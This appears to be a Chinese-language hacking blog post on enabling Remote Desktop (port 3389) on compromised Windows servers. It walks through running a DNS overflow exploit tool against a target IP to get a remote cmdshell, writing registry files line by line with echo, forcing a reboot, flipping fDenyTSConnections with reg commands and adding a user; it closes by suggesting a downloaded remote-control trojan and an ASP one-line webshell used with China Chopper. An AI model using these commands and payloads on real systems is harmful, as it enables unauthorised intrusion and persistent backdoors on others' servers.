1. 程式人生 > >開啟遠程Windows系統3389端口

開啟遠程Windows系統3389端口

服務器 div local body 容易 實現 ech layout hotkey

1、Win7、Win2003、XP系統
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

2、2000系統

簡要說一下如何進行DNS溢出攻擊。我用的溢出利用程序是dns.exe,在CMD下運行它可以看到它的使用參數等信息。執行"dns -s IP"命令檢測目標IP是否存在DNS溢出漏洞,若存在則進行溢出攻擊,執行"dns -t 2000all IP 1207"後提示要我們檢測返回的1100端口的shell。"telnet IP 1100"成功得到返回的cmdshell。註意目錄為c:/WINNT/system32,接著我們需要做的是使用"echo"命令寫入一個3389.reg註冊表文件。將如下代碼一行一行地復制到cmdshell窗口後按回 車執行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS/.DEFAULT/Keyboard Layout/Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg

簡單說明一下,">"符號是覆蓋寫入文件,如無此文件則創建,有則覆蓋原來的內容寫入。">>"是追加寫入,即在原有文件內容的基礎上在 後面寫入內容。這裏是寫入內容到3389.reg文件中!需要註意的是第二行,那個作用是寫入一行空格,因為.reg文件的格式 必須如此!成功寫入完畢後接著執行導入操作,執行"regedit /s 3389.reg"。這樣註冊表文件就已經順利導入到註冊表裏去了。不過需要註意的是在cmdshell下不要輸錯任何一個字符,否則將無法執行,建議先 自己打好在記事本上,確保無誤之後再復制到cmdshell窗口執行。然後可以用下面這個方法重啟目標主機。在cmdshell下執行如下代碼:

@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> {out}.inf
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%/{out}.inf r

按順序將以上五行代碼一行一行地復制到cmdshell上,復制完一行按一次回車執行,五行都執行完畢後,服務器就會重啟的了。當然讓服務器重啟的方法比較多,比如結束掉系統關鍵進程、代碼模擬按鍵等都是可以的,如無意外,等待服 務器完成重啟之後再連接目標發現遠程桌面服務已經成功開啟了。至此Windows 2000操作系統溢出後返回的cmdshell下開啟遠程桌面服務就成功完成了。

3、2003系統

相對於2000的系 統來說,2003cmdshell下開啟遠程桌面服務就比較容易一些了,起碼無需重啟嘛!第一種方法也是用"echo"命令寫入一個 3389.reg文件,再"regedit /s 3389.reg"導入註冊表文件即可開啟,比較簡單,與上面介紹的2000的開啟方法類似。將如下代碼一行一行地復制到cmdshell窗口後按回車執 行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg

完成以上操作後再執行"regedit /s 3389.reg"導入即可生效!不過這個方法相對來說比較麻煩。我們還可以用另外一種比較簡單的方法來開啟遠程桌面服務的。在介紹另一個操作方法之前,我們先來熟悉下2003系統下遠程桌面服務的一個最關鍵的註冊表鍵值。
在"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

下數值名稱為"fDenyTSConnections"的這一項,可以看到它的數值數據為1或0。數值為1的時候關閉遠程桌面服務,數值為0的時候開啟遠程 桌面服務。換句話說,我們只要可以在cmdshell下更改這個關鍵的註冊表鍵值數據就可以達到實現開啟遠程桌面服務的目的了!有幸的是,在2003下有 一個"reg"命令完全可以做到這一點。這裏我們找一臺操作系統為2003的服務器,通過和上面介紹的同樣方法溢出後返回一個cmdshell。當我們嘗試連接的時候會發現根本無法連接上去。下面詳細說明一下用"reg"命令開啟遠程桌面服務。執行:

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

我們發現"fDenyTSConnections"鍵值數據為"0x1"。這個是十六進制數的1。上面提到,數據為1則沒有開啟遠程桌面服務。我們要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必須把原來鍵值刪掉再添加!在cmdshell下執行:

reg delete "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections

會詢問是否"要刪除註冊表值 fDenyTSConnections 嗎",當然Yes了。再執行:

reg add "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

提示操作成功完成。這樣就把"fDenyTSConnections"的值改為"0x0"了,我們可以執行:

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

發現已經成功更改了數據。現在再來連接服務器的3389看看,發現已經可以成功連接上了,創建個用戶玩玩。至此2003下cmdshell開啟遠程桌面服務的方法也介紹完了。


溢出後也不一定要非要在cmdshell下開啟遠程桌面服務。
可以echo一個vbs文件,下載遠程控制木馬,然後在cmdshell裏運行一下木馬即可連接。
還有就是查詢目標IP是否綁定有網站,如果有則找到網站目錄,再用echo個一句話木馬進去(命令是:echo "<%execute request("cmd")%>" > WEB路徑/test.asp),用中國年菜刀連接,然後上傳大馬,上傳開3389的工具再開啟也行。

開啟遠程Windows系統3389端口